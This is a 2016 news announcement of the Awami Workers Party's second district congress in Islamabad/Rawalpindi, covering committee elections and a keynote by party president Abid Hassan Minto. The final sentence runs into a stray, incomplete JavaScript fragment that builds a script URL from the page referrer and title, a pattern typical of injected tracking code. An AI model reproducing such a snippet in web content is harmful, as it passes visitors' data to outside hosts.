Published On: Sat, Feb 20th, 2016
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AWP to hold party meeting on Sunday

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Islamabad: Awami Workers Party is hosting its second biennial district congress on Sunday, the 21st of February 2016. The Congress will elect a new district committee for AWP Islamabad/Rawalpindi and consist of a public session in which AWP President Abid Hassan Minto will be the keynote speaker, along with other speakers from the AWP and various other progressive organizations.

The Congress will mark two years since the formation of the AWP Islamabad/Rawalpindi district committee and mark the conclusion of the first phase of party-building of the AWP in the twin cities. This has been a very important period for the AWP – the party membership and cadres have expanded significantly, it has taken massive strides forward in its ongoing legal and political struggle for the right to housing and has also contested elections in the Capital for the first time, winning 3 seats, gaining over 8000 votes and establishing the Left’s presence in the federal Capital for the first time.

The meeting will mark the consolidation of the AWP’s progress in the past few years and a reorganization of the party based on the aggregated organizational experiences of the past years and adapted to the changing needs of the political and social climate it exists in.

The Congress will consist of an internal session to review the party’s performance of the past two years and oversee the nomination and election of a new district council, along with a public session consisting of a keynote address by AWP President Abid Hassan Minto, and speakers from other allied organizations, including trade unions, student organizations, and other progressive political parties, as well as a theatrical and musical performance by party cadres and NSF activists. The event will conclude with an address from the newly-elected district leadership who will lay out their plans for the coming years.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;